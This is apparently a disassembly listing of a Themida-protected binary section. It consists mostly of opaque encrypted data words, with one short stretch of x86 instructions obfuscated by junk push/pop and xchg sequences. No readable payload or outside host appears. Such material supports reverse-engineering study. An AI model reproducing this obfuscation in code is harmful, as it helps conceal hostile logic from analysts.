		dd 3A03BAD7h, 7A5BA10Bh, 0FD580DC9h, 8804E2D9h,	853EA42Dh
		dd 2418D9Bh, 0B3290000h, 0F6DDBA0Ch, 3A9875C7h,	83522F81h
		dd 0D007E436h, 56629BEDh, 0EE407D5Ah, 0A7F9C011h, 5FB10ECAh
		dd 15675482h, 957B8109h, 0A9580D04h, 0A51347AEh, 61ABB1F9h
		dd 2D57EA02h, 0E2F0BD05h, 0FA40AAD9h, 580D0318h, 4A410123h
		dd 0F8D2D31Bh, 16DE3h, 0C412FA00h, 983E4BF7h, 87F5D123h
		dd 0F6898FD7h, 6457E538h, 684A903Ch, 73580618h,	0CB9A3151h
		dd 33F8D9BDh, 48h, 8299542Bh, 0F6850F4Ah, 1645DDE2h, 8C4A172Fh
		dd 0FBE1E72Fh, 0F51F1E7h, 40AEB8E7h, 7F424890h,	4D57E503h
		dd 51337925h, 5C580603h, 0E283183Ah, 7CF8D9D6h,	0EC8AEB4h
		dd 0B4DC5806h, 0C11F85h, 4A170000h, 1D043388h, 9442C412h
		dd 0FF162668h, 0ED85E43Fh, 6A092A41h, 0AEC012EAh, 5F367E16h
		dd 50816FAEh, 0E65BD69h, 1948FB58h, 8835A2AFh, 0FF07CFDCh
		dd 4C3238D3h, 6051F2E0h, 9CF4A038h, 8B4B5804h, 0CC64577Bh
		dd 0E5A4647Ah, 0F1E551F2h, 2E9C78CAh, 8B40BCDh,	0CAD018B0h
		dd 57E7BA31h, 5E2B739Bh, 94468579h, 66C9469Bh, 389F7CCEh
		dd 65EFA785h, 48323EA8h, 10A3Ah, 437C6000h, 0FEBF14F1h
		dd 0B803CFACh, 6D4C8966h, 24993E1Bh, 911F99D2h,	48257746h
		dd 1DE3089h, 0B996E8D7h, 404C9E1Dh, 5CCB2B8h, 0E5E0580Dh
		dd 894A177Eh, 0DDFA0534h, 7A12AD2Bh, 7B8B4B28h,	5EB6625Dh
		dd 12BB74C6h, 3E4BF7C4h, 0F9D12398h, 6511AA2Ch,	0A718C00Dh
		dd 6A74A3FBh, 60C54FCh,	57E5549Bh, 0B009CCA9h, 0D403D018h
		dd 9F8197E9h, 24580635h, 0EAC109B2h, 70E7410Ah,	0D1E11093h
		dd 2EDAE3F4h, 8220h, 0A5137700h, 1CE9B1F9h, 92D605B6h
		dd 57EA025Ch, 2F3CE810h, 0EAC214A7h, 0AC03BA1Dh, 3B9183B0h
		dd 6B76A5CAh, 0B49AA06Bh, 0C8580D80h, 0E9C008A0h, 0FF204B41h
		dd 6ED80708h, 0E41F9628h, 32FA1242h, 0D1DC105Bh, 11972809h
		dd 0C546EF2Bh, 96E8173Fh, 259640F4h, 0D3F906DDh, 6346471Ah
		dd 8F472434h, 6273802Ch, 3DC935A2h, 4FD1DC40h, 7521B951h
		dd 28DC7E20h, 0DEBB0DAEh, 917C3F8h, 3, 127DE460h, 3C49F5CAh
		dd 6875219Ah, 96A34F70h, 0C5D27E3Bh, 0F2FFAB12h, 1F2CD8E5h
		dd 4A5703B6h, 7A873388h, 33B86459h, 767D68h, 240C8900h
		dd 5B3768h, 24148900h, 81E78957h, 4C7h,	4EF8100h, 87000000h
		dd 895C243Ch, 6851242Ch, 6C566C4Eh, 81240C8Bh, 4C4h, 0E9814100h
		dd 663B50BFh, 6859CA89h, 0AD9h,	81242489h, 42404h, 835D0000h
		dd 148904ECh, 8458F24h,	51242C8Bh, 0C181E189h, 4, 4C181h
		dd 0C870000h, 34FF5C24h, 0C4835A24h, 5E29E904h,	5325FFF9h
		dd 177A3C19h, 0B8FD4895h, 61B1F7Dh, 0E0FFC503h,	32E42E66h
		dd 7D45359Eh, 1E4E1043h, 17F6E4C6h, 3552FC37h, 717A7B05h
		dd 1EB74961h, 1B431EA2h, 519664BBh, 437C1E94h, 24C91B6Eh
		dd 25354F8Ch, 34229BC6h, 75FCC10Ah, 7B4BE3F4h, 1085AF3Ah
		dd 5FF29F38h, 64A6D233h, 470103F1h, 1FE2448h, 0C062839h
		dd 1BB91C58h, 6348F6B7h, 68ED5AA4h, 24403590h, 1286C62Fh
		dd 0EE8h, 58841300h, 90277518h,	9670A1C8h, 8B98F420h, 820F5EFBh
		dd 0
aBM		db '│ф)m',0
		align 2
		dw 0BF66h
		dd 1F68D73Dh, 6600001Bh, 58EF39BBh, 0BC1DE781h,	36FF589Bh
		dd 8E9h, 7F58F100h, 54737E5Bh, 81F9596Fh, 0D69B04F1h, 93D78114h
		dd 81409674h, 515A9FC1h, 0BE9575Bh, 0A8000000h,	2D285ABBh
		dd 0F12C3CEBh, 815B4EB3h, 0CAD1BC1h, 0E89FC10h,	0CE9h
		dd 0C513F800h, 0F24CB34Fh, 0CE3FD4F9h, 2EE83A8h, 82EB8160h
		dd 61472137h, 13E84E4Eh, 8B000000h, 49BB4DFDh, 0A74D1187h
		dd 0B9430729h, 8AAA102h, 485BE811h, 0FF84850Fh,	0BF66FFFFh
		dd 0FE8CCD4h, 8D000000h, 0A8484A5Ah, 0FC74651Dh, 7C7E5AD9h
		dd 0D38B2058h, 0CB8B6658h, 6FDDC081h, 0ECBA0000h, 0BF4338F0h
		dd 0
		dd 8B5AC280h, 0B70F381Ch, 0CAEB81CBh, 0FC608366h, 7C2BEB81h
		dd 0CE80265Eh, 94F381A6h, 5314A14Eh, 8FD7BF0Fh,	9E93804h
		dd 12000000h, 2A61FD17h, 0C0ECA379h, 8E95760h, 79000000h
		dd 2FB6D54Ah, 5A3E6E56h, 61FA8B66h, 8B04EF83h, 0B0FF81CFh
		dd 0FFFFF90h, 0FFFFAA85h, 0EE9FFh, 0A7440000h, 3485C9B6h
		dd 3B9A5C25h, 7C60BDBFh, 0BD83C08Bh, 61430B1h, 83097500h
		dd 141AE1BDh, 19740006h, 0C08B5350h, 421B8h, 49858900h
		dd 8D06141Ah, 16B73A9Dh, 5BD3FF06h, 0E1BD8358h,	6141Ah
		dd 53501774h, 421B8h, 49858900h, 8D06141Ah, 16B4299Dh
		dd 5BD3FF06h, 8BC08B58h, 1424F99Dh, 5985C606h, 5606141Ah
		dd 0A8B85268h, 0D1B5FF9Ch, 8D06141Ah, 1780DB85h, 6AD0FF06h
		dd 10006804h, 0B5FF0000h, 6141911h, 0D0FF006Ah,	850FC085h
		dd 0Dh,	0B8h, 0F08D8D00h, 0FF061470h, 8BC88BE1h, 3C4003C3h
		dd 0F805h, 0C508B00h, 0BD83D303h, 6141135h, 0E840F00h
		dd 8B000000h, 1411359Dh, 0AD858B06h, 89061421h,	8D525103h
		dd 14798985h, 8BD0FF06h, 8BF18BFAh, 0F3C88BD1h,	5985C6A4h
		dd 5606141Ah, 1F6D3968h, 0D1B5FFD4h, 8D06141Ah,	1780DB85h
		dd 68D0FF06h, 8000h, 0FF52006Ah, 83C08BD0h, 1430B1BDh
		dd 9750006h, 1AE1BD83h,	74000614h, 8B535019h, 421B8C0h
		dd 85890000h, 61430C1h,	0B7A19D8Dh, 0D3FF0616h,	0BD83585Bh
		dd 6141AE1h, 50177400h,	421B853h, 85890000h, 61430C1h
		dd 0B4429D8Dh, 0D3FF0616h, 0C08B585Bh, 11359D8Dh, 38B0614h
		dd 840FC00Bh, 7, 5B8B038Bh, 0B8188904h,	4B41h, 0AE8h, 9A0FDE00h
		dd 27739F6Ch, 52DFC88Eh, 5ED2B70Fh, 53EE8058h, 6B1BC081h
		dd 80BA0000h, 0BB6CE326h, 1A9Fh, 0A870Fh, 8B600000h, 65E781C8h
		dd 6126640Fh, 5FFC30FFh, 0EF815BB2h, 692B7349h,	89C6B966h
		dd 377C781h, 810F1C64h,	0Ch, 6820Fh, 8A0F0000h,	0
		dd 0C9F7C781h, 0F56058C5h, 5E9h, 9D937A00h, 5761367Fh
		dd 0E04BF681h, 8F5B22h,	0E881C5B1h, 59712865h, 6880F51h
		dd 0F000000h, 81h, 0C0815900h, 59712861h, 4BF9DA80h, 0FF96850Fh
		dd 0D281FFFFh, 3E698B95h, 0BE8h, 114D2300h, 6424CC3Bh
		dd 84D87714h, 575810B7h, 5BD0BF0Fh, 0E1DEC081h,	0F9510000h
		dd 0F22FBF5Eh, 0C7810599h, 0FA664622h, 11E9h, 78812C00h
		dd 0B6E7C53Bh, 0B772D309h, 920399DEh, 88BBA1Bh,	0FD692BBAh
		dd 9AF1810Ah, 0E964E3ECh, 0Bh, 0A279CB13h, 0F55E9923h
		dd 81D7B95Eh, 579B5CC1h, 58A0F0Fh, 66000000h, 35FAC381h
		dd 4C81F181h, 5E8255Fh,	1D000000h, 98F5481Dh, 0ECACBA66h
		dd 0B70F515Bh, 83008FDFh, 0F78B02E8h, 81664848h, 83930FD6h
		dd 850F01EFh, 0FFFFFFA2h, 0E9D68B66h, 22h, 45A39C40h, 7	dup(0)
		dd 1BE90000h, 0AA000005h, 5E3B8D32h, 19F64875h,	0D3B002B9h
		dd 8865B702h, 0E31C6E4Fh, 0C1FCDBD5h, 7A3F926Fh, 328D4B28h
		dd 0E8D303E0h, 0FC028A96h, 580D0C16h, 17C82F2Ah, 7AA7E40h
		dd 76CD74F7h, 88F921F8h, 0EEF92838h, 1A27D3E8h,	0D6AE00BDh
		dd 0C27923FFh, 165E77C2h, 0F2912A10h, 0E7163E51h, 15C1FADCh
		dd 41EDCE08h, 54656C39h, 54B91A25h, 0F291684Eh,	0BC547C51h
		dd 14369A10h, 4606F6E0h, 62F9B25h, 6E335CDh, 0BE9BEDD2h
		dd 905DA51Ah, 71C97546h, 6CBD842h, 5CB207B3h, 0C9A88E94h
		dd 94BC51F2h, 0BD771365h, 7552A41Bh, 8F2EA561h,	71348BE3h
		dd 0E2A8F2F5h, 4B1860F8h, 2B832F8Ah, 19C5FADEh,	0E22892C1h
		dd 51F228FFh, 0B02B677Bh, 0FEEDB0B5h, 4C49h, 0C4126000h
		dd 76434BF7h, 0E82C5B60h, 51F1E804h, 0B72C6E82h, 0FEEDF1AEh
		dd 150h, 0C1126700h, 7B4850FCh,	2B366558h, 5C6915A8h, 87944079h
		dd 0B6C36F4Ah, 0CFEEE91Bh, 0B5198B37h, 0FA5E1495h, 8E2FA458h
		dd 8F775F3Ch, 89DB7346h, 0F8C512D0h, 0FCE2E8B0h, 1051F1E7h
		dd 424FB9E8h, 0E802C91h, 8354E8AAh, 0CB0BE83Ah,	743C44F0h
		dd 0F1E8886Eh, 45749C51h, 0DB23983Ah, 769A9504h, 0F524218Ch
		dd 0A0E2048Bh, 0ED2F4A2Bh, 6A6734FEh, 1C4BA34Fh, 79B6h
		dd 4A17CD00h, 0F8033287h, 2A32DEDFh, 9945745Dh,	0CB071241h
		dd 0E8543A40h, 406851F1h, 0E9EFFCA8h, 1C222AD6h, 51F1E836h
		dd 0FED5224Ah, 3DA113BFh, 0CEE69C1Dh, 0B9CEAF7h, 0A5F2E9D2h
		dd 87DF8B32h, 0B0440658h, 6C449627h, 7CE369Fh, 166E1AB2h
		dd 0C2FBDCE7h, 0EDCC0916h, 0FA98BA41h, 0ED7794E1h, 488AFEh
		dd 12A10000h, 3F4CF8C5h, 467A2699h, 0CB0C2062h,	8C249B3Dh
		dd 0C112813Ah, 270A50FCh, 0A351F1E8h, 5A3C13DBh, 0AC541BEAh
		dd 62E8CE54h, 0D4FC51F2h, 23753A5h, 0A65CA235h,	30C48795h
		dd 0A91544DCh, 0FEED01BCh, 142h, 0C0125900h, 1EEBB3FBh
		dd 997F05BAh, 0AD51F1E7h, 0DFEC5685h, 0C318C4F7h, 7CB6121h
		dd 0C28A62B4h, 0F1E7D6BCh, 93C2EA51h, 2B731B89h, 0E5030E25h
		dd 0B05C8457h, 408833A3h, 0AD596473h, 0BE566596h, 7008C1B8h
		dd 82543141h, 0B224F139h, 0D6055D09h, 942266Ch,	0C0A45806h
		dd 4F6C6A82h, 53393F07h, 67580609h, 2300103Fh, 0E9C008B3h
		dd 0BC7AA59Fh, 63CDFC92h, 73488E5Bh, 1E9D3944h,	49706572h
		dd 7841909Dh, 96B498CCh, 9A46735Eh, 0E0F8AA42h,	4FFBBE13h
		dd 7B5AA0F7h, 87A269ABh, 0B5440658h, 6501E7EDh,	8D935806h
		dd 580664A7h, 0A5CD93BBh, 506B6B76h, 74A5C0FEh,	0E59F8D9h
		dd 70000001h, 0B1F9A513h, 1DC9F2E4h, 0E8290F15h, 153D51F1h
		dd 42484E7Dh, 57E50E0Bh, 0E5ED99C1h, 0D302BB18h, 5BAD0EC8h
		dd 0B763587Eh, 0E38F2CAAh, 0BC4D0D71h, 0A7D6E9EFh, 2F813A9Ch
		dd 0B5498A57h, 7376EBFBh, 0EB972F35h, 6DF86493h, 91F8D9E5h
		dd 2Fh,	0F8A613A8h, 0E7E4AAB0h,	90B8D1F1h, 0C70FDCE4h
		dd 8F27923Fh, 0E8361C60h, 96BAD1F1h, 2ED441F4h,	0E81AE0E6h
		dd 0C6EE51F1h, 8F9674h,	13ED0000h, 0ABB1F9A5h, 57E510F0h
		dd 0BDCA769Eh, 7850A219h, 0F0C4AAB0h, 0B0D85805h, 5B607681h
		dd 0F28869AFh, 4CE45805h, 0F1987E84h, 0D4AC5805h, 5F1E8CEh
		dd 3CD4FC58h, 659FBB0Dh, 35024A71h, 5069689Ch, 85B40CB8h
		dd 832B9975h, 15E2353Bh, 0A8D05DFEh, 0E61DF4FCh, 0E6D23B6Ch
		dd 0BE182352h, 0A6FC51FDh, 12BEFDD9h, 19398BBAh, 0C11576E4h
		dd 932B9245h, 0F1E6B3FBh, 65587FCCh, 2C3261B9h,	1988D326h
		dd 0E3E9C164h, 643C89FDh, 0FF51E911h, 0F9A51346h, 0B58ABB1h
		dd 1E4657EAh, 4A716572h, 0E2FF2B02h, 1C22475Eh,	0B7691688h
		dd 8AB951FCh, 82399D7Ah, 885A90D6h, 0BA1E1B64h,	3B9C6998h
		dd 317ED682h, 0DCE716A5h, 0A279C1FAh, 0FF9D0C4Ch, 0C2D201C6h
		dd 361C22EAh, 4A9BC686h, 0EEE8F322h, 0C11421CDh, 7F2B8E43h
		dd 8EE38F27h, 4096AEECh, 0DEF90BC6h, 939B47DFh,	0C685A78Dh
		dd 0FB93BB9Bh, 0FD952AAEh, 0B308CEABh, 0B79DA36Bh, 0CB9BC685h
		dd 2CD8E5EEh, 0A30D3CD4h, 395h,	7DE4EC00h, 49F5CA12h, 75219A3Ch
		dd 0A34F7068h, 0D27E3B96h, 0FFAB12C5h, 2CD8E5F2h, 5703B61Fh
		dd 8733884Ah, 0B864597Ah, 578E6833h, 2C890000h,	391E6824h
		dd 2C890000h, 0E0895024h, 405h,	4E88300h, 5C240487h, 52240489h
		dd 46754B68h, 0E2815A5Ch, 674077B8h, 5190F281h,	8152425Bh
		dd 4A89242Ch, 815D57D5h, 0D54A89C5h, 28685A57h,	89000010h
		dd 4832424h, 68580424h,	6AB6h, 8F242C89h, 48B0840h, 0E1895124h
		dd 4C181h, 0C1810000h, 4, 5C240C87h, 5D2434FFh,	4C481h
		dd 74E90000h, 0D5FFF954h, 0FD25F7E0h, 2AB898F7h, 3061B29h
		dd 0B1E0FFC5h, 0ED18A655h, 46E5541h, 504F5CE4h,	675D7D95h
		dd 0EA36EF4Eh, 0B57318E4h, 5A0F5C02h, 0A2066662h, 46172BA5h
		dd 817FA499h, 0D2557ECAh, 481281CEh, 407DA327h,	0E275C051h
		dd 4B39A11Bh, 195298D4h, 843ECB23h, 0FE2B9660h,	3456A7BBh
		dd 0C4029947h, 427B3091h, 0E971CA47h, 3Bh, 79BD8B60h, 8306140Ch
		dd 0C93304EFh, 20BBC18Bh, 83EDB883h, 8BE04C7h, 0D1000000h
		dd 23D21BE8h, 4EC233D3h, 0FFF1850Fh, 8941FFFFh,	0F98107h
		dd 0F000001h, 0FFFFD382h, 8BC361FFh, 0E59D8DC8h, 0B8061413h
		dd 13A8h, 1B698589h, 0E80614h, 58000000h, 0D05h, 0E9038900h
		dd 13A8h
dword_5BB658	dd 4E8h	dup(0)		; DATA XREF: Themida_:00549FC4o
dword_5BC9F8	dd 2 dup(0)		; DATA XREF: Themida_:0054C040o
		dd 52510CEBh, 9BF313D8h, 2C165DEEh, 0EEE9E150h,	0E9000005h
		dd 5E2h, 0DC2E914Bh, 97E9D4FFh,	51A318BAh, 6586174h, 0BD0FAE29h
		dd 5B7C3484h, 9E331062h, 0ECECC91Bh, 32A481D3h,	0A32B3789h
		dd 0D25B79Dh, 69D0CB58h, 4BF7C412h, 79259A3Eh, 0A854656Ch
		dd 6CC3C9Bh, 0E819FF05h, 52D51F1h, 391F256Dh, 4D51F1E8h
		dd 0D4E18D25h, 0E370FB03h, 6A378171h, 1FB74F6Ch, 4A6F6673h
		dd 7A41919Eh, 7E646A32h, 9251F1F9h, 0C4D13B6Ah,	9E66AE0Fh
		dd 309951C7h, 5DE3F943h, 51F2A177h, 0CA34638Bh,	0EAF050BEh
		dd 51F2A104h, 1058F018h, 0FE2D9043h, 0DEEDF2F8h, 173F57EAh
		dd 47745E6Bh, 19A632FFh, 0D6E6156Dh, 36E2D9F9h,	0D1F63AF0h
		dd 0F89AFE4Dh, 0E52D8E44h, 6343BB18h, 0BF720224h, 0B20AB64Eh
		dd 29977383h, 0AA663D85h, 366B872Eh, 0E141A49h,	73C936F5h
		dd 7E8B375Fh, 3613655Ah, 8D51DA2h, 0ED96EDCEh, 380C46CAh
		dd 0C50B75A4h, 2F7F1ACAh, 0B323F008h, 4E545C08h, 0CFE21B68h
		dd 8DBC547Ch, 0F3E51F3Bh, 1EB784CCh, 6897EF9Bh,	620E7C58h
		dd 6619141Ah, 1F47D5D5h, 263800D7h, 4228E6C9h, 8163A913h
		dd 8CD5F6A0h, 2E8EEB6h,	16D5F6A0h, 89219839h, 514A085Ah
		dd 7AE93A14h, 359734Ah,	6C0F5488h, 0ED73Dh, 2CF0000h, 0E43CE8D5h
		dd 7011CEB5h, 68000003h, 823AC612h, 0F9125FE4h,	36E2D9FDh
		dd 0F8FE46DEh, 51F2C012h, 0BA66FE26h, 0EA9625ADh, 5A92B0D4h
		dd 17EF417Eh, 603D8740h, 4675E6EDh, 76229D3Bh, 0B5D78D28h
		dd 46795F95h, 7D451CF4h, 0EFA11483h, 0CB071241h, 9E3744F0h
		dd 0C41A6F1Bh, 93DBDEF7h, 0F275A78Dh, 6493BB51h, 0F9C17012h
		dd 0F2760DF3h, 83389A51h, 0D2B97FD7h, 0E141A460h, 78A73F5Ch
		dd 456656Dh, 0A968C9EEh, 0BA03D4D1h, 0D632A572h, 7622BAFFh
		dd 2DFEF1Eh, 313EEACFh,	0A25B5AA0h, 0EAA5CA18h,	9A3D0A52h
		dd 0BD02D623h, 208AB911h, 4FFBBE13h, 7C289542h,	2FC58527h
		dd 0CB8119A4h, 0C0112B67h, 0C4C9A7F9h, 20000000h, 50FCAA13h
		dd 0D6289343h, 9AE2D9F9h, 0E7E6CCD2h, 0D2FA51F1h, 0E79E848Ah
		dd 8AB251F1h, 0C5ABF15Bh, 0A51F1E7h, 0C0122A68h, 5CCA9FBh
		dd 0DBFB08B4h, 5ABE34E0h, 37CD0438h, 1B731F9Ah,	7D543183h
		dd 262CF43Ch, 51F1E840h, 316750C3h, 0D298A508h,	4117BAAh
		dd 0E93EEAD3h, 2EF60B47h, 0F2644228h, 0FF2E5651h, 8ADCDDF4h
		dd 4B932AADh, 0B763587Eh, 2B11175Fh, 3F51F264h,	307EE817h
		dd 0C9F2E492h, 0FAC3101Dh, 14361A4Eh, 6441695h,	0F68A1CF3h
		dd 863EE66Bh, 0F01F9E39h, 151BF2E5h, 51F2A92Fh,	31831B43h
		dd 8F3B8454h, 0F2A96649h, 7047CD51h, 7BB07C37h,	2A7CAB79h
		dd 0BB04D468h, 8A2FA673h, 17924B5Bh, 2318E4Ah, 32DEE1F7h
		dd 9A4DB325h, 1FCE47B6h, 0B022CE66h, 2EFB0E4Ch,	0DBE615AAh
		dd 0F5C40DFDh, 759F149h, 0F2BF22F1h, 58677151h,	0EBC54ACh
		dd 0FEED1658h, 0FFFF03A8h, 4A17BFFFh, 2A822E8Bh, 0DB83F1FBh
		dd 10D28D93h, 588057E5h, 2A954310h, 8DF7267Eh, 13655680h
		dd 876D733Bh, 195805F0h, 5F12D13h, 53194158h, 0F08F757Bh
		dd 7BA35805h, 2DA9B4E3h, 0D5E28Eh, 0D5000DB9h, 0AD2B38E4h
		dd 4E326612h, 0DFF7AD0Ch, 0CAF9C612h, 0B422DA78h, 0E3F2BF07h
		dd 0A3D22AD6h, 0DC20B693h, 5618A057h, 6EB64EC9h, 4B7BEA97h
		dd 2554D2F4h, 0F49275BBh, 50B45805h, 2FDCFA32h,	5F54329h
		dd 0B801D058h, 0E032CAF2h, 0A433D303h, 0CDD58119h, 3EEAD300h
		dd 3FADB7E6h, 4641478Fh, 0F25DF940h, 0B209B025h, 0D9E25CDh
		dd 0E26695BFh, 9C9B72BAh, 23935D0Dh, 12EEFE2Dh,	0E7B4FCA4h
		dd 0C921CDF0h, 718E949Ah, 0E36412E7h, 0D6020FBBh, 0E84D3339h
		dd 0D9DF6435h, 6435E7F3h, 0F119DF07h, 0AE2A0759h, 691F6511h
		dd 8D59F9FFh, 1E7EDB5h,	9379F9DFh, 0F9DEA78Dh, 0CD93BB79h
		dd 662476A5h, 63B50ACEh, 0C26E4B86h, 0F09C23B5h, 900B4769h
		dd 0D6E5FAD5h, 9E29h, 0C1124000h, 5CDAAFCh, 37A16EB6h
		dd 6C495988h, 21FE5069h, 0F4BF48B6h, 9F4B7062h,	0ACBBF047h
		dd 240153EBh, 0DBB80AB3h, 9471C3F6h, 4C297B44h,	2DF318Ah
		dd 4C3238D5h, 6051F26Bh, 0B8F4A038h, 0F6FCC4CCh, 51F26B10h
		dd 0C2CDFC24h, 0DCE1F214h, 0A1439844h, 308B4BE1h, 0F9DF2C84h
		dd 46C21AC6h, 0AF0F6BEh, 9751F26Bh, 78D07C3Fh, 555B8AB2h
		dd 0F26B694Fh, 3557D51h, 6B3F252Bh, 765351F2h, 5CB4605Dh
		dd 4E5C48C4h, 70h, 736CB0A5h, 0CE51F1E8h, 6A806E2Ch, 0DA86359Dh
		dd 126C5382h, 0ECB4FCC1h, 0F1E800E6h, 0BDEC1451h, 0B902D0ADh
		dd 0AF4B8A67h, 0E28282E3h, 0D426BE1Bh, 1C1EE0F7h, 2D07E5AAh
		dd 0D2AF0199h, 0E7D20305h, 0F94BE33Bh, 0B204B51Ch, 74BC03D5h
		dd 7C36A59Dh, 3B9AB16Fh, 0E27AD27Eh, 10C6A3B3h,	0D7B59ABh
		dd 0B3000000h, 35FFE5EBh, 0EB1351F2h, 7DE4D5BCh, 49F5CA12h
		dd 75219A3Ch, 0A34F7068h, 0D27E3B96h, 0FFAB12C5h, 2CD8E5F2h
		dd 5703B61Fh, 8733884Ah, 0B864597Ah
		db 33h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	1777h
		mov	[esp], ebp
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		push	61B3E39h
		mov	ebp, [esp]
		add	esp, 4
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		mov	esi, ebp
		push	esi
		sub	dword ptr [esp], 20942F81h
		pop	dword ptr [ecx+8]
		add	dword ptr [ecx+8], 20942F81h
		pop	esi
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		dd 9B32F482h, 0EB013348h, 8AB8E930h, 3061B43h, 55D38BC5h
		dd 5E75FDEDh, 0A476F67Ah, 0BC56E669h, 1F44FD49h, 36BAFD21h
		dd 21FBFD21h, 0AB59FD21h, 6E4BFD21h, 8C21FD21h,	0FD0EFD21h
		dd 45EFFD21h, 19DAFD21h, 3601FD21h, 21DEFD21h, 0AD33FD21h
		dd 6E9CFD21h, 8D7DFD21h, 0FC5EFD21h, 431AFD21h,	1F6EFD21h
		dd 259DFD21h, 2295358Ah, 4A76D6A2h, 0BD5CDE71h,	5A5CF44Bh
		dd 2775FD7Ah, 9775F572h, 0CB74FD79h, 0ED73FD78h, 0F374F57Dh
		dd 7874FC7Bh, 0BC75FC7Bh, 5E75FD7Ah, 9776FD7Ah,	1475A628h
		dd 0CB75A629h, 0E475FD7Ah, 0F374FC7Bh, 9074FC7Bh, 0BC75F8B2h
		dd 62F0701Ah, 0A673E632h, 8C318EFFh, 99F0707Ch,	6C73E632h
		dd 0E931CEFFh, 0E9F0707Ch, 3573E632h, 453192FFh, 0DFF0707Ch
		dd 1E73E63Dh, 0D031CAFFh, 4AF0707Ch, 7B73E63Dh,	6231C6FFh
		dd 0F1F0707Ch, 0D773E63Ch, 3431C2FFh, 0C8F0707Ch, 4273E63Ch
		dd 0FE31BEFFh, 87F0707Ch, 0F073E63Ch, 0A731BAFFh, 8EF0707Ch
		dd 0A673E63Ch, 8C31AEFFh, 57F0707Ch, 6C73E63Ch,	0E931B6FFh
		dd 0C2F0707Ch, 3573E63Ch, 4531B2FFh, 0FFF0707Ch, 1E73E63Ch
		dd 0D031AEFFh, 0EFF0707Ch, 7B73E63Dh, 62319EFFh, 95F0707Ch
		dd 0D773E63Dh, 34319AFFh, 0DBF0707Ch, 4273E63Dh, 0FE3196FFh
		dd 67F0707Ch, 0F073E63Dh, 0A731AAFFh, 92F0707Ch, 0A673E63Dh
		dd 8C31A6FFh, 0ACF0707Ch, 6C73E632h, 0E931A2FFh, 14F0767Ch
		dd 3573E95Bh, 453151FFh, 0AF0767Ch, 1E73E956h, 0D0314DFFh
		dd 0B0B69C7Ch, 0F29D11F1h, 2375FD7Ah, 0F9B517FBh, 0D525FB61h
		dd 0ADFDF53Fh, 916EB9D1h, 0CFB73422h, 0B723AC7Ah, 1A20AD29h
		dd 7975FD7Ah, 5D987C27h, 0A073E63Fh, 3431CFFFh,	0A5C87D7Ch
		dd 0CF73E63Eh, 0E4C5B409h, 0F9B54B75h, 863589BAh, 0A7314DEFh
		dd 96FEBD7Ch, 2F7A452Bh, 28AFD7Ah, 0CD6EB9CAh, 0A14648F7h
		dd 0C6F8FB61h, 4B9D50FCh, 0CF75FD7Eh, 5E76456Fh, 0BA8AFD7Ah
		dd 916EB9CAh, 8F4648F7h, 0D1F8FB61h, 228A50FCh,	87BC1F23h
		dd 0A731CFF7h, 52DA07Ch, 0EC2CA320h, 97776D92h,	0C1CD4D7Ah
		dd 708A5779h, 0F46EB9D6h, 79D3ED1h, 0DA75FD78h,	54CD9BC2h
		dd 0D0DE9B59h, 8C3151EFh, 8DE9B7Ch, 0E5779592h,	0F3360B7Ah
		dd 866E8872h, 0A73151EFh, 54C54D7Ch, 0BA8AAD79h, 916EB9D6h
		dd 2BF69B20h, 277E9B7Eh, 1AB6561Ch, 7975FF6Bh, 0BE4E1529h
		dd 652FFD7Ah, 0A57B89A0h, 94913D59h, 7F5DF70h, 83FE4DBAh
		dd 9D3ED1h, 2A75FD7Bh, 0BC77E192h, 844EA77Ah, 49C5120Eh
		dd 7FA916D0h, 0CB75FCA7h, 0ED74BE8Ch, 1A26D30Fh, 7975FF7Bh
		dd 0BD360B20h, 65548872h, 0A56889A0h, 94913D59h, 7F5DF70h
		dd 0B5FF4DBAh, 0B6D96885h, 1F2FFB61h, 0DA51FD5Fh, 0F5133F71h
		dd 85E94DB9h, 9774BD92h, 61F44D7Ah, 0E5743592h,	0F22D157Ah
		dd 91DEFD7Ah, 0BC75FC57h, 9DDF60CAh, 0C7DF61CAh, 9775FC5Bh
		dd 4A13451Ch, 439D561Ch, 1A75FD7Bh, 7975FD4Ch, 0B69D561Ch
		dd 0EE75FD7Bh, 9FB657E7h, 699D57E6h, 2375FD7Ah,	0E575FCF3h
		dd 0FA74BE8Ch, 0F9C5F20Fh, 0BC6515D0h, 0DEDFFD7Ah, 487DF99Eh
		dd 97AA1584h, 56C5FD7Ah, 0E2CD3ED0h, 0D75FD7Ah,	62314DEFh
		dd 0CBC0707Ch, 5D73E63Eh, 2C7F518Ah, 3BE002D0h,	873E63Eh
		dd 0E574E592h, 0F8254D7Ah, 4B9D5779h, 548A0284h, 5E75FC43h
		dd 2C7FA5CAh, 0C7C53ED0h, 61274DD0h, 1A8BE192h,	0FDCD9B85h
		dd 91DE9B4Bh, 438A036Bh, 0EEDFA7CAh, 9FB65722h,	3C225792h
		dd 0CB750C92h, 22FEA77Ah, 1AF63F51h, 9177747Eh,	438A008Bh
		dd 5E750592h, 252D4D7Ah, 69B65779h, 0D031D4FFh,	0CCC87D7Ch
		dd 0F373E63Eh, 0FCF8EC0Fh, 0BA6EB9E1h, 5C61152Ah, 1B9DFD7Ah
		dd 2775FD78h, 759D571Ah, 0D8A0287h, 0D8A00C3h, 87DF9CCAh
		dd 0A731D4F7h, 77C87D7Ch, 2F73E63Eh, 12F8F10Fh,	0CD6EB9E1h
		dd 0E4DE152Ah, 4AB6FD7Ah, 7975FD7Eh, 0F8C56885h, 0C3F8FB61h
		dd 296EB582h, 3D6DF9F0h, 619C4DB9h, 8E9D562Dh, 0A875FD7Ah
		dd 0BB5E3AF1h, 357115F9h, 0CB8A3E78h, 296EB9D6h, 96514ACEh
		dd 74C1FF0Eh, 4E13F2CAh, 0F275C992h, 279DAE7Ah,	0E675FD7Ah
		dd 0BEB5FEF0h, 25B5F179h, 68B65778h, 0D03151EFh, 0EA917D7Ch
		dd 42F539FAh, 2EDE9B75h, 415A15D1h, 0D52F0285h,	0ACB7D6BDh
